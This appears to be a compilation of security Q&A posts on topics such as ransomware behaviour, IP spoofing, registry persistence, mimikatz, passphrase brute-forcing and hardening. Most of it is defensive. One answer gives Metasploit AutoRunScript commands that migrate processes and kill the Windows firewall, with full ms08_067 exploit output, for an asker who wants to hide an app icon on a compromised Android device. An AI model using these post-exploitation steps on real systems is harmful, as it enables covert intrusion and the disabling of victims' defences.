State Government website find an IP address? I had someone use my email address and sign up on a State Government website and register as me. Made a complaint and the autoresponder of the .gov site replied to the email that I allegedly sent. When I saw it I replied that I did not send this and I did not live in this county. Can the State government website go into the registration and find that persons IP address who sent it?  Thankfully this person did not threaten this person on their website. But who knows what they can and will do with it again. I am a Realtor and I have contacted Realtor.com and filed a complaint, as well as wrote the Senator back that I had not sent that email to him. I live in a different City and County in that same state.
My question is, can the state government find that person's IP address who registered as me?
Thank you.

Yes, it is possible that the IP that was used to navigate to the contact form was logged. The problem is that knowing the IP isn't going to do much. IP addresses can change every time you connect to the Internet (from your phone, from free wifi, from your home, and sometimes even when you connect again from the same source).

I think you are trying to prepare for a problem that doesn't exist. Anyone can use your email address on contact forms, or even mistype their own valid email address. I know that I get a lot of emails from contact forms when people with email addresses similar to my own make an error.


Does typical Ransomware only 'attack' certain folders/filetypes I expect this is very much on a per malware and OS basis so could potentially be very broad hence the typical.

A user's computer has been infected by a piece of malware which aims to encrypt all their files to extort money. Obviously it's not going to encrypt everything as the computer will need to remain operation in order to try exploit money from the end user and reduce risk of detection whilst in operation.

How does the ransomware know what's safe to encrypt without accidently 'shooting itself in the foot'.

Does it go for certain 'typical' folders say ${userhome}\pictures|music|documents|etc.
Does it go for certain expected file types, e.g. doc|jpeg|mp3.
Does it go for everything except certain folders (e.g windows or program files).

Also what happens if there are multiple drives (so SSD for programs and OS,  HDD for files and network drives for shared programmes/files etc) or if programs are not stored in the typical places?

I know at the end of the day the attacker doesn't care if they brick a victims machine, but surely if they were to brick every machine then they wouldn't be able to extort money thus bypassing the whole ransom aspect. (The obvious answer being they expect average users just to follow the same default folder structures).

As far as I know typical ransomware, like the (in)famous Locky virus for example, encrypt files depending on their file extension and across all local and remote drives.

To break it down:

The ransomware will scan the system for

Local drives (System drive, secondary drive, USB drive and so on)
Remote drives (Network shares like samba, nfs and so on)
Files with certain, predefined file types (e.g.: .jpg, .avi, .doc)

This way no important OS files are touched but the attackers still have their 'hostages'.

If you want to know, which files on your system would be affected rootshell.be has written a batch script to estimate which files would be affected on your system. The currently used extensions which the script looks for are the ones Locky uses. Of course different ransomware can use different extensions or even work different like Petya. Petya works by overwriting the MBR and booting into a minimalistic own OS while the C:\ drive gets encrypted completely in background.

Sources (If you want further reading):

Malwarebytes Blog on Locky
TheHackerNews on Locky
TrendMicro on ransomware in general
Ransomware simulation script by rootshell.be


How can I mitigate attacks that rely on poisoned data as a developer? A few years ago, there was a high-profile attack on a Wired editor, where the hackers added a credit card to the target's amazon account, then used that self-added credit card to gain access to the target's account. So they effectively poisoned Amazon's database for their attack, then social engineered their way through.

How can a developer mitigate this specific attack vector, namely the attacker using data they added themselves to gain access?

I had this idea that, for the above example, you would allow the credit card to be added, but the user wouldn't be able to use it for recovery purposes or payment until he clicked a link in his mail to confirm that he wanted to add it, kind of like we already require email verification to create an account. That way, an attacker would have to compromise a second account as well. And of course the customer care rep wouldn't be able to do this himself.

The attack you describe happens because the user account is a container of credit cards, and Amazon equated "knowledge of a contained object" with "knowledge of the container".  It's not surprising, because everyone assumes that a credit card must be kept secret, therefore knowledge of the credit card was evidence that the attacker had knowledge of a secret.

To prevent this, you could verify a user based on their knowledge of information provided at the time of registration.  That means when an agent is bringing up the screen to help someone who "can't remember their password", they should have access only to that limited data, not to all of the account data.  Otherwise, you could make a similar attack by observing someone making a purchase, then calling Amazon and saying "Of course it's me, I bought a widget yesterday for $100 from widgets.com, you should see that in my account history."

Another option would be to require validation of all contained data.  If the caller says "my card # is 123, it's my account", the agent should be able to ask "how many other cards are on the account?  Please tell me all of the account numbers."

Of course a better approach might be to require validation of the user before allowing them to add items to the container.  Why should you be able to add a credit card to an account unless you can prove it's your account?  What business benefit does that serve?


Why do mobile operating systems not implement a way to deny permissions to an app? Android and iOS (afaik) implement a relativly fine-grained permission schema for their apps.

But as I user I only have the change to acceppt all or nothing.

When I think about it, it shouldn't be a big problem for the OS to implement a feature to deny certain permission for an app withouth breaking them.

Some examples:

internat access: all mobile apps have to cope with internet access not beeing available
access to contacts: the OS could lie to the app and give it an empty address book
gps access: again, the OS could lie and give the app the coordinates of the north pole (for example) :-)

Does anybody know why this is not implemented directly in the OS?

Firstly, in iOS you can deny access to certain resources (when they're first requested by an App you receive a popup you can either accept or reject) and therefore Apps are designed to handle the scenario of access being rejected. You can also disable Internet access on an App by App basis, although you're not explicitly asked this ahead of time. Overall there is a significantly smaller range of permissions though.

Relating to Android, I can think of a few reasons:

A permission failure throws an exception which a developer may not necessarily catch. Most Android Apps are typically not developed with the assumption that permissions will be granted selectively.
If a bunch of Apps frequently crash or work unreliably without notice it will reflect poorly on Android in the eyes of average users who don't understand the technical aspect.
Blocking Internet would be an excellent ad-block function. If an ad-supported App such as a calculator doesn't require Internet to do its core function then users could easily disable Internet and block Ads. I imagine this is particularly untenable in the eyes of Google.
It would create a significant support burden for developers to maintain a list of permissions which are "really" required for certain functions. Users could easily think an App was buggy but actually they'd just removed a required permission. For developers having to build in prompts instructing the user that additional permissions are required would create extra complexity at every point where permissions are required.
App developers should already be applying the principle of least privilege. If an App is grasping for access to things it obviously doesn't need then it's a good sign you should be suspicious.
83% of Android users don't pay attention to permissions as they are

Things might be different if:

Android developers were told from the start to assume some permissions might not be granted
Android provided a built in prompt allowing users to enable a required permission before throwing an exception
And there was a way to treat Ads differently from other Internet traffic

Obviously if you're a power-user then App Ops might be an option for you.


Windows language pack update with a gibberish name This morning, I noticed that a new Windows update was offered to me. It looks very suspicious to me:

Here are the update details:

gYxseNjwafVPfgsoHnzLblmmAxZUiOnGcchqEAEwjyxwjUIfpXfJQcdLapTmFaqHGCFsdvpLarmPJLOZYMEILGNIPwNOgEazuBVJcyVjBRL

Download size: 4,3 MB

You may need to restart your computer for this update to take effect.

Update type: Important

qQMphgyOoFUxFLfNprOUQpHS

More information:
https://hckSLpGtvi.PguhWDz.fuVOl.gov
https://jNt.JFnFA.Jigf.xnzMQAFnZ.edu

Help and Support:
https://IIKaR.ktBDARxd.plepVV.PGetGeG.lfIYQIHCN.mil

Obviously, this seems way too fishy to install, but I would like to know more. Has everyone received this update (Google only has a couple of hits for this)? Could this be an attack? Is there a way to download the update data without installing it?

I'm open to any ideas.

I'm running an Windows 7 Pro (64-bit).

As @Buck pointed out below, the update is no longer available through Windows Update. I'm not sure how this question will be resolved.

The official communication from Microsoft at this time:

  “We incorrectly published a test update and are in the process of removing it.“ – a Microsoft spokesperson

I won't add commentary, but will update the answer as more information becomes available.


Is Facebook Connect or Twitter OAuth PCI Compliant? We have a system that stores credit cards securely on file. We'd love to allow users to sign up using Facebook Connect or Twitter.

Obviously this wouldn't be secure if we were trusting just any old OAuth or OpenID provider, but in the case of Facebook and Twitter specifically, is it possible to implement a PCI compliant signup/login process while still keeping a credit card on file?

PCI DSS v2, Requirement 7: "Implement Strong Access Control Measures" is the pertinent section.  This section details access control primarily for non-consumers that will be accessing cardholder data for business purposes, though there are a couple requirements that seem applicable to consumers as well as non-consumers:

  8.1 Assign all users a unique ID before
  allowing them to access system
  components or cardholder data

  8.2 In addition to assigning a unique ID
  employ at least one of the following
  methods to authenticate all users:
   Something you know, such as a
  password or passphrase
   Something you have, such as a
  token device or smart card
   Something you are, such as a
  biometric

  8.3 Incorporate two-factor authentication
  for remote access (network-level access
  originating from outside the network) to
  the network by employees,
  administrators, and third parties. (For
  example, remote authentication and dialin service (RADIUS) with tokens; terminal
  access controller access control system
  (TACACS) with tokens; or other
  technologies that facilitate two-factor
  authentication.

  8.4 Render all passwords unreadable during transmission and storage on all
  system components using strong
  cryptography

With the above in mind, it would seem that someone could make the case that Facebook Connect/oAuth would be considered a 3rd party service that connects to the cardholder system, and hence would be required to authenticate via two-factor to your system. (From requirement 8.3)

Though I could also see the case being made that it is not really a third party service connecting to the system--It is merely facilitating authentication of consumers to your system.

Your QSA would have to make the call on it.


USB 3.0 write protection switch question I bought a USB 3.0 flash drive with a write protection switch for use with a Linux live distribution. My question is, once the OS is installed and running, I tested it and I can still install programs and make other changes to the OS while the write protection switch is on. Shouldn't that make everything read only?

Assuming you really mean a USB flash drive, well, it's up to the firmware running on the device itself to actually implement that functionality. And since these sticks are definitely at the very least end of profit margin, I wouldn't be surprised at all if there's plenty devices that have some slider that doesn't do anything.

If you're actually referring to an SD Card (or similar) in a USB 3.0 flash card reader: That small tab on the side doesn't actually do anything, but drivers are asked to please kindly pay some respect to the fact that the user shifted that plastic thing by 2mm and kindly refrain from writing to the card. So, no wonder your PC ignores it: many modern readers don't even come with sensor for the position of that tab anymore.

What's the information security content of this answer? Simple: Especially in the world of least-cost consumer electronics (but sadly, also in the world of server/datacenter hardware), it's often not a good idea to trust protection mechanisms that aren't enforced by yourself, but by some black box that the supplier hands you.

The "Windows bitlocker depended on hard drive hardware encryption if available; hard-drives signalled ability to encrypt, but then, really, didn't encrypt" is an example of that. The occassional "oh, there's a clearly intentional backdoor in this (insert market leader here)'s {VPN/firewall/email scanner/IDS}" is another example.


How to protect Windows Registery from being changed or from programs trying to add keys This question is with regards to Windows Personal PC.

How to protect Windows Registry from being changed or from programs trying to add keys? I understand that the following general good practices are required:

Use non-admin account when possible
Keep OS version up-to-date
Keep malware and virus checker up-to-date
Know the source of .exe and .bat files I install and run and ensure they are safe
Know which sites I visit and ensure they are safe

but I guess this is still not enough since some malware can defeat the above and end-up changing the Registry information, so my questions are:

Q1: How can I guarantee that the registry will not be tampered with?

Q2: Could a non-admin account change the registry?

Q3: Does windows report such changes in a log? How to access that log?

Thx.

In very simple words,
Windows Registry is used by other applications to store user/system specfic data to be used by application.
Q1&Q2(Answered together): Unless you are continuously monitoring your system, there is not practical way to determin if your programs has made registry changes. You can specifically use tools like procmon, regmon to monitor a specific app.
Secondly, if you are a non-admin you should always be allowed to change HKCU registry, because legit programs will also use registry keys under that hive. Theoretically , if you are concerned about any registry key in particular you can always allow or deny permission using ACL.
To explain with an example:
If a software/malware want to maintain persistance by launching at every user logon, it might add entry into the key HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run to launch itself. Click here for more info !
However, hypothetically you can set permission for a particular key and then deny the non-admin user the permission for the key. For the above example , this image will provide a better clarity

Q3. Various methods like WMI notification, Event viewer for monitoring all the time. Procmon and regedit can by used to monitor registry changes over a specific period of time.


How can Windows 10 not have the password in memory? I have read that Windows 10 does not hold the password in memory from the creator of mimikatz:

Starting with 8.x and 10, by default, there is no password in memory.
Exceptions:

When DC is/are unreachable, the kerberos provider keeps passwords for future negocation ;
When HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest, UseLogonCredential (DWORD) is set to 1, the wdigest provider keeps passwords ;
When values in Allow* in HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Credssp\PolicyDefaults or HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\CredentialsDelegation, the tspkgs / CredSSP provider keeps passwords.

Of course, not when using Credential Guard.

How is that possible? How can Windows keep the password outside of memory?

A quick search turned up the link below.  They created a new technology called CredentialGuard, which isolates secrets in virtualized secure environments rather than storing everything in LSA like they used to.  Mimikatz can no longer just dump lsass.exe process memory and parse the contents.  They're still in some memory, strictly speaking, but not memory that we can access easily.

More: https://technet.microsoft.com/itpro/windows/keep-secure/credential-guard


Recon-ng v5 - How to add domains? I just started with recon-ng today, I was following tutorials but every tutorial is outdated with most of them describing the functions of v4.

I was able to update myself with simple additions like the marketplace and the new way to add modules etc. But, for example, if I'm using netblocks module "whois_orgs", how do I add a domain?

The command used to be "add domains" if I'm not mistaken, I tried "create domains" no luck (assumed it was create because they replaced add with create for workspaces), but now either command outputs "Invalid command", when I type in "show", it lists "domains", so I'm pretty sure there should be a way to access it.

Can someone help me with this?

Nevermind, found the answer, it's:

  db insert domains

same thing with others as well, for companies it's "db insert companies"


Why to place an email as image or replacing "name@email.com" with "name at email dot com" I noticed it in, for example, the profiles of some Stack Exchange users. So I wonder: did they want to protect themselves from spamming bots this way, or ...?

Does it have to do with security? Because I guess that the bots can easily convert something like "name at email dot com" to "name@email.com"...

...or read simple images?

It's not to be the perfect security, just make spamming harder.

Spammers will have to scrap lots and lots of pages to create a database of email addresses. It's cheaper to get the text, search for a pattern like name@email.com and add to the database than to search for name at server.com, or name at server dot com, or name at server . com, and other variations, parse all, validate all and add to the database.

So the point is to not be the lower hanging fruit. You could use a javascript that needs to solve a captcha, an equation, then asks for clicking on a happy cat to show the email, but if a spammer really wants your email, he will create a bot (or use Amazon Mechanical Turk) to "solve" your riddles.


What is the security of random code for authenticating products? I have seen a startup (Verify Kero) that is building a product for verifying consumer goods. It places a 16 digit secret code under scratch-able coating. Consumer finds the code behind coating and sends it to Verify Kero via web, SMS, IVR and mobile apps etc. Corresponding company name, manufacturing date, product name, expiry etc. are sent back to consumer.

This idea looks very fantastic to laymen and also been incubated in a top incubator of city and has been appreciated by a lot of ICT4D people. But my opinion says that the product is vulnerable. Mass random numbers can be tested and could be expired very easily. Even original products or consumer items will be declared faked as a result of it to the people who will test it latter.

I want to know your expert opinions for the possible vulnerabilities in this approach.

Adding to Steffen Ullrich's excellent answer...

There's an opportunity for an attacker to get valid numbers off of unsold merchandise and then resticker those products so that they look unused. The attacker can then use these pirated numbers on counterfeit products.

This will likely only be profitable for expensive items (eg: profitable for designer clothes, but not for a can of coke) as it is a relatively costly and manual attack. You need to get the unsold products, scratch the silver off, record the code, resticker the item (stickers are readily available), put the item back into the original sales channel, and then sell your item before the original is sold so the code is still valid.

EDIT: Added mention of attack utility for expensive items based on @SteffenUllrich's comment.


Security risks of exposing a VM to single IP address on the Internet I have a small office network with about 10 workstations and a single physical domain controller. I want to move it to the cloud. For that, I deployed a Windows VM on Azure, which I'm going to promote as an additional DC. Then, I'll shut down the physical one.

Currently the physical server also serves as a VPN server, and the cloud VM is connected to the local office network via this VPN with L2TP and IPSec. When I'll shut down the physical server, it will also kill the VPN.

I thought about exposing the cloud VM itself to the office, instead of initiating a connection from it. On Azure, I have the ability to expose the VM to all traffic from a single IP address on the Internet. This way I can use the office's external static IP and the workstations will be able to communicate with the cloud DC.

My question is, what realistic security risks are involved in this process? Would it be easy to exploit, even when I expose it only to a single IP address? Should I avoid this strategy and keep the VPN approach?

TL;DR: Not secure.

Exposing your VM to a single IP in practice mean that you are blocking connections from other IP addresses. This distinction is important, because IP addresses are not secured in any way and can be spoofed. Therefore this does not prevent the attacker from sending data to your VM with a spoofed IP.

It does help to a certain extent as it is hard/tricky to intercept the responses from the VM (as they are sent to the IP of the office, not the attacker). This hinders the attacker as he has to hack the VM blind or somehow intercept the responses (MITM for example). However this does NOT prevent the VM from being hacked.

VPN of course on the other hand uses proper authentication and is therefore much more secure.


Auto execute meterpreter commands on session start Is there a way to run one or multiple meterpreter commands automatically, as soon as the listener gets a connection (i.e session is established with a target)? I want to run the 'hide_app_icon' command as soon as a session is gained. Any ideas?

PS: The target is an Android device and listener is running on a debian VPS.

Yeah sure! you can define a file with commands (.rc file) and set that file as autoexecutable.

msf > set AutoRunScript multi_console_command -rc /root/autoruncommands.rc

Put inside .rc file the commands you want to launch:

run post/windows/manage/migrate
run post/windows/manage/killfw
run post/windows/gather/checkvm

Then, after a session is created they will be executed automatically:

msf  exploit(ms08_067_netapi) > exploit

[*] Started reverse handler on 10.10.200.40:4444
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 2 - lang:English
[*] Selected Target: Windows XP SP2 English (AlwaysOn NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (752128 bytes) to 10.10.101.11
[*] Meterpreter session 6 opened (10.10.200.40:4444 -> 10.10.101.11:1125) at 2012-04-22 17:58:16 -0400

meterpreter >
[*] Session ID 6 (10.10.200.40:4444 -> 10.10.101.11:1125) processing AutoRunScript 'multi_console_command -rc /root/autoruncommands.rc'
[*] Running Command List ...
[*]     Running command run post/windows/manage/migrate
[*] Running module against XPVM-SP2
[*] Current server process: svchost.exe (1324)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 3984
[+] Successfully migrated to process 3984
[*]     Running command run post/windows/manage/killfw
[+] Killing Windows Firewall...
[+] Done!
[*]     Running command run post/windows/gather/checkvm
[*] Checking if XPVM-SP2 is a Virtual Machine .....
[*] This is a VMware Virtual Machine

Extracted from here. I copied and pasted the same example because is enough to explain it. And check the link, it has more interesting stuff.


How much traffic can a firewall node handle? Any real examples? As a part of my research, I need to determine the maximum packets (Internet traffic) can one instance of firewall/ IDS process. I am not sure where to begin though.

Your assistance and guidance in this regard is much appreciated.

Having done tests for multiple clients where they claim "scans won't knock this over, you'll be alright", then an hour later we're having a meeting discussing how they're going to handle a serious downtime incident, I can safely say a few things:

The marketing figures describing performance are at best a peak performance case, produced in a lab situation where the test case has been fully optimised for maximum performance stats with no regard for actual usability or functionality. At worst they're a complete fabrication or misrepresentation of the data. You should ignore any such performance statistics.
Standard flood tests (e.g. ICMP flood, SYN flood) are rudimentary tools at best. Resistance to ICMP flooding is rarely a useful measure of anything since people learned their lessons in the 90s. SYN flooding will tell you whether the system is capable of de-prioritising waiting half-open connections behind clients who have actually sent a final ACK to complete the connection, along with implementing a basic anti-flooding system like TCP SYN cookies. These are rudimentary things that you can expect from any networking product.
Bandwidth flood tests can be useful in working out network saturation issues, but they only really tell you what the network pipe's continuous bandwidth limit is. By flooding a network link with large packets (usually UDP datagrams) you can saturate the pipe and make it hard for new legitimate packets to come through. That said, that usually tells you more about the network itself than the device under test (the firewall or IDS).
IPS/IDS/Firewall systems have ludicrously fast throughput rate for traffic, but the real bottlenecks occur on the management side. For example, if you log every time a packet is seen from an IP address which does not have an ARP entry (I have seen this done) then sending lots of packets from a spoofed IP (or just without ARP'ing first) will very quickly fill the log buffer in memory and saturate the disk IO on the drive which stores the logs, usually knocking the whole system over. The device may be capable of passing legitimate traffic forward at a ridiculously high rate, but a single edge case like this can flatten it in minutes.
You can perform all the DoS / DDoS test suites you like, verify your results in production, open it up to real world traffic and see great results, then find that it falls flat on its face as soon as a pentester (or some skript kiddie) runs Nessus or sqlmap through it, because so many alerts are being thrown that the alerting system can't keep up.
If you test a device in a test environment, then move it to production, don't be surprised when your device no longer performs as expected. Tests have to be done in the real-world setup with the exact same config and same topology. Something subtly different can completely throw off your results.

If you want to properly test the realistic capabilities one of these devices, you need to install it in your production environment and run a full battery of tests through it, in your final production configuration. The results will be different for each model or version of the firewall/IDS/IPS, different config options, and different networking topologies and backend systems being reached through the device. Whatever answer you gain for, say, a pfSense firewall, will be entirely different than, say, a Checkpoint firewall.


HTTPS without SSL VS HTTP I'm working on local server for Linux repositories. We have been using HTTPS without SSL Verification for establishing connection between the Server and the Agents.
Are there really any differences between using HTTPS with SSL Verification turned off and using plain old HTTP?

To extract sensitive information from plain old HTTP passive sniffing is sufficient and it is also possible to just passively capture the data and analyze later. To extract the same amount of information from SSL (HTTPS) an active man in the middle attack is needed in order to create a SSL connection between attacker and client and another one between attacker and server. Certificate validation just lets the client detect such an attack before any data gets transmitted, i.e. even if certificates are not properly validated the attacker still needs to do an active MITM attack and passively sniffing the encrypted data is not sufficient.

If such an active attack is actually harder than a passive sniffing depends on your specific environment.


Bruteforce decrypt xml file without knowing file content? I am trying to decrypt an .xml file, but I do not know what it contains.

What I do know:

starts with 6 character alphanumeric passphrase
passphrase is hashed by md5, or SHA1/2
AES128/256 encryption of xml file with hash key

If I am looking at this problem correctly, that means I have 62^6 possible passphrase variations.  Assuming I can test around one million/s that means ~15hrs of decryption multiplied by 6 variations in hash/encryption algorithm. At that speed it seems not unreasonable to be able to brute force given a few days?

Any recommendations as to how to verify plaintext output in the decrypted XML file?  My coding skills are not on the level of being able to figure this one out.
I know I will be able to visually tell when this file is decrypted properly, but are there any decryption programs that can do such a thing automatically?

If you know the file truly contains an encrypted XML document, check the first decoded block for the existence of an XML prolog string:  <?xml version="1.0" encoding="UTF-8"?>.  (Version and encodings vary, of course.)  At least look at the first five characters for the <?xml marker.

Of course, the prolog is optional, so it might not be present at all.  It would help if you could see a decrypted file to know for sure what kind of crib to expect.  Alternately, you could look at the destination application to see if you can learn what the schema is that it's expecting; then expand your first-block searching to include looking for the expected root node of the schema.

You won't get many false positives that decrypt the first five bytes to <?xml by coincidence.  Anything you recover that much of, you can afford to evaluate the rest of the results by eyeball.


Is the security of this .net application flawed? Ok, I know that every obfuscated .Net application can be reverse engineered.

And I know that it is better if I go the open source way if possible. But unfortunately I cannot because there is no copyright law to protect me where I live.

So I've come up with a plan to make it harder. Since I'm very very novice regarding the security I hope that you will help me find any loopholes in this plan.

The user downloads the application
The user enters his username/password and starts working
He need to export the results to a specific file format
The application connects to the server, and checks the username/password
The data required to create the file are sent to the server
The server creates the file on the server and sends it back to the user

Now if someone cracks the program by bypassing the username/password check the file won't be sent from the server and he won't be able to get the file he wants, something similar software as a service.

Now I want to know if this is the correct way to go? What suggestions to make it better?

The structure of a DXF file is somthing like this:

You know it so go to the end of answer

ASCII versions of DXF can be read with a text-editor. The basic organization of a DXF file is as follows:

HEADER section – General information about the drawing. Each parameter has a variable name and an associated value.

CLASSES section – Holds the information for application-defined classes whose instances appear in the BLOCKS, ENTITIES, and OBJECTS sections of the database.Generally does not provide sufficient information to allow interoperability with other programs.

TABLES section – This section contains definitions of named items.

Application ID (APPID) table

Block Record (BLOCK_RECORD) table

Dimension Style (DIMSTYPE) table

Layer (LAYER) table

Linetype (LTYPE) table

Text style (STYLE) table

User Coordinate System (UCS) table

View (VIEW) table

Viewport configuration (VPORT) table

BLOCKS section – This section contains Block Definition entities describing the entities comprising each Block in the drawing.

ENTITIES section – This section contains the drawing entities, including any Block References.

OBJECTS section – Contains the data that apply to nongraphical objects, used by AutoLISP and ObjectARX applications.

THUMBNAILIMAGE section – Contains the preview image for the DXF file.

END OF FILE

The data format of a DXF is called a "tagged data" format which "means that each data element in the file is preceded by an integer number that is called a group code. A group code's value indicates what type of data element follows. This value also indicates the meaning of a data element for a given object (or record) type.

Reference: Wikipedia

You want to send this data from your local software to the server, an easy crack is sniffing, the cracker write a little program that can convert above structure to DXF file, the crack software will be sit on the line between local program and the server, captures each data that is transferred and stores it in a file, no need to the server.


How easy is it really to do IP spoofing? I read a lot about IP spoofing but I am not sure how easy it is really to do. Let's say I am in Spain, can I somehow connect to a server in the US with an IP address that is allocated to Mexico? Won't the routers simply refuse to forward my traffic?  I know you won't get any response as it would be routed to Mexico but I am confused how you can contact the US server at all with the wrong IP.

Actually, you can't. Whenever you need IP traffic to be bidirectional, IP spoofing is no use. The contacted server would not reply to you but to someone else, the address you spoofed.

IP spoofing is then normally "useful" only to disrupt communications - you send harmful packets, and you don't want them being traceable to yourself.

In specific situations you can use a double spoofing to gather a measure of bidirectionality. For example let us suppose that we know of a system somewhere that has poor sequence generators - whenever you send a packet to it, it will reply with a packet containing a monotonically incrementing number. If nobody was connecting to the system except you, you would expect getting 1, 2, 3, 4... .

Now let us further suppose that you're interested in whether another system is replying to specific packets (e.g. you're running a port scan), and you wish to receive some information but don't want the target system to have your real address. You can send to that system a spoofed packet pretending to be from the poorly-sequencing machine.

Now there are three possibilities: the target system does not reply, it replies, or it actively counterattacks and (e.g.) scans the pretended source to determine the why's and wherefore's of that first packet.

What you do is, you scan - without spoofing - the poorly-sequencing machine (PSM). If nobody except you has connected to it, which means that the target machine hasn't replied to the PSM, you'll get 1-2-3-4-5. If it replied once, you will get 1-3-5-7 (the packets 2, 4 and 6 having been sent by the PSM to the TM in response to the TM-PSM replies to the spoofed packets from you to the TM. If the TM made more connections, you'll get something like 2-11-17-31 or such.

The PSM knows your real address, of course, but the TM does not. This way you can spoof a connection and still gather some information. If the PSM's security level is low enough, this, combined with the fact that your "scan" of the PSM is harmless, is (hopefully) enough to prevent consequences to you.

Another possibility is to spoof a nearby machine. For example you are in network 192.168.168.0/24, have IP 192.168.168.192, and you have promiscuous access to some other machine address space, say 192.168.168.168. You just have to "convince" the router serving both you and the .168 machine that you are indeed the .168 machine, and take the latter offline or disrupt its communications (or wait until it is offline for reasons of its own, e.g. a colleague logging off for lunch). Then the replies to the spoofed .168 packets will sort of whizz by past you, but as long as you can sniff them while they pass, and the real .168 isn't able to send a "That wasn't me!" reply, from the outside the communication will appear to be valid and point back to the .168 machine.

This is sort of like pretending to be your front door neighbour, while that apartment is really untenanted. You order something through mail, the packet gets delivered to the other's front door, you tell the deliveryman "Oh yes, mr. Smith will come back in half an hour, I'll just sign for him" and get the package.


Tablet antitampering We'll be distributing tablets for some group of employees. Enterprise applications will be installed and IT has been tasked with protecting them against users messing with these new toys (i.e uninstalling enterprise applications, installing games or extremely bandwidth consuming apps,etc.)
What kind of technical solution we should be looking for?

Mobile Device Management (MDM) Software is enterprise software that covers the management of applications and device security. MDM software varies in capabilities depending on the operating system (Android, iOS, Windows) you are supporting.

Some commercial MDM solutions will include the ability to manage multiple operating systems while others are tailored to specific operating systems.

Some commercial MDM solutions include:

AirWatch
Good
MobileIron

Operating Systems offer different levels of control, but most MDM software will allow you to:

Preinstall and restrict uninstallation of enterprise applications
Enforce password policies
Deploy client SSL/TLS Certificates
Deploy WPA2-EPA Certificates
Physically locate or remote wipe devices


Some questions about protecting recovery seed for Trezor/Nano S If someone stole recovery seed (24 words) but you would protect it with additional passphrase, is it likely they could brute force your passphrase?

How many guesses can there be made per second?
Could hacker with the most computer power hackers use brute force passphrase?
How strong should passphrase be to protect against it?
What if recovery seed would get posted on bit-coin forum and people would try to brute force it, would they be able to do it?

it likely they could brute force your passphrase

Depends on the passphrase. "Monkey" would be nano seconds. WelcomeToBoomTown would be significantly longer. BoomTownis100%redonculous would be computationally infeasible to brute force.

  How many guesses can there be made per second

Online attack scneario: 1,000 / second.
Offline (fast) : 100,000,000,000 / second
Massive cracking array: 100,000,000,000,000 / second.

  Could hacker with the most computer power hackers use brute forc [sic] passphrase

Again, depends on the passphrase. If the passphrase was a GUID, the earth would have long been engulfed by our red giant sun, and the universe reached maximum entropy before you'd get through it with modern day computing power.

If the passphrase was on a common password list, seconds.

  How strong should passphrase be to protect against it?

At least 17 characters long.

  What if recovery seed would get posted on bitcoin forum and people would try to brute force it, would they be able to do it?

See all answers above.

Also, play with the password haystacks.


Ensuring security for SharePoint hosted app (Office 365) What strategy/approach/method should I use to ensure that programmers aren't deliberately including backdoor or accidentally creating security flaws? This is in regards to SharePoint hosted app in Office 365, when deployment is through Visual Studio Team Services (Visual Studio Online) - continuous integration https://www.visualstudio.com/team-services/continuous-integration/.

What automated tool would you recommend, that have an OWSAP benchmark? https://www.owasp.org/index.php/Source_Code_Analysis_Tools

I would recommend code review by peer developers. Introduce a policy where no code can be added unless it has been reviewed by someone else. The reviewer can be another developer, it doesn't have to be a senior or a dedicated reviewer.

This reduces the chance of errors. It makes it harder to put some hidden functionality in the code. And it works great for sharing knowledge within the developer team.


Using a custom authentication mechanism with SSH I have a hardware device that can compute ECDSA signatures and generate ECDSA keys without exporting the private key (only public key is exported).

I'm looking for a way to tie this into SSH. Is there a way to do so without patching OpenSSH?

You can write a PAM authentication plugin.


Organization like OWASP for network security? Is there something like OWASP for Network Security ? Or have anyone of you come across a testing guide for network security, as to  how to start an audit and then the minimum number of tests to run and the tools to use ?

I am trying to put together a document and it seems that the number of tests to be performed are endless with a lot of combinations.

If you're looking for the equivalent of OWASP for network security then I'd suggest that testing methodologies like OSSTMM or PTES (although PTES is still rather incomplete), are a good place to look for information.

However as you say both of those will have a very large amount of information in them.  This is really because network security is a less well-defined proposition when compared to web application security.  It spans a wide range of topics (Unix OS security, Windows OS security, network devices, databases etc) so the range of checks needed to complete a thorough review is going to be a lot wider that it will for a single web application.

That said if you're looking for a basic set of checks for network security I'd recommend.

Port scanning of all hosts in the target networks to establish what services they offer
Vulnerability scanning of the open ports using a tool like Nessus or OpenVAS.  Vulnerability scanners have a huge number of pre-programmed checks for common security issues so they're a good way to identify basic issues. Also if you provide credentials for them to authenticate to your servers they can do a more thorough job of checking things like patch levels
In addition to this I'd recommend checking all management interfaces for default credentials.  This is a very common issue and one that is the cause of a lot of breaches. Doing this can be as simple as connecting to each one and trying common default combinations (e.g. admin/admin).  You can also review documentation for the system under review to see if it mentions default accounts (they often do)

Whilst doing this won't find all the issues in a network, it's a good first step and if you can resolve all the issues raised from this sort of scan your network would be heading in the right direction from a security standpoint.


Is traffic encrypted using IPSec intercepted in transit over public internet, hackable? In the official Azure documentation describing Azure VPN Gateway, I read this about Site to Site VPN

  "Though traffic is encrypted using IPSec, it can be intercepted in
  transit since it traverses the public Internet."

Is it a grave concern if traffic encrypted using IPSec is intercepted in transit over public internet. What is the probability that a hacker can intercept data in transit between site-to-site VPN & decrypt that info?

Interception of the traffic is 100% possible since the whole time the transfer is going via public internet isp etc,but retrieving sensible data out of it is highly unlikely, unless the attacker has cracked the Encapsulating Security Payload used to encapsulate the vpn traffic packets.


Suspicious 2 page, no image Word Docx has 1.7 MB Can a word document contain virus or harm you in any way? Someone sent me a word docx that has only 2 pages, no image but it's 1.7 MB big. If I use save as to save it with a different name but still docx than the duplicated document has only 35 KB. Is there something I'm missing? Can this happen normally? If yes, how can I figure this out?

Yes a Word doc can contain a virus.  Rename the DOCX to zip and you can open it with WinZip or another tool.

This will expose all OLE embedded data, however it's possible that the individual files in that Winzip are virus vectors (JPG, etc)


How to protect my server from continous login attempts (Ubuntu) This is the log of my server:

Mar 25 16:49:51 f4arelay sshd[10831]: input_userauth_request: invalid user git [preauth]
Mar 25 16:49:51 f4arelay sshd[10831]: pam_unix(sshd:auth): check pass; user unknown
Mar 25 16:49:51 f4arelay sshd[10831]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=115.29.194.97
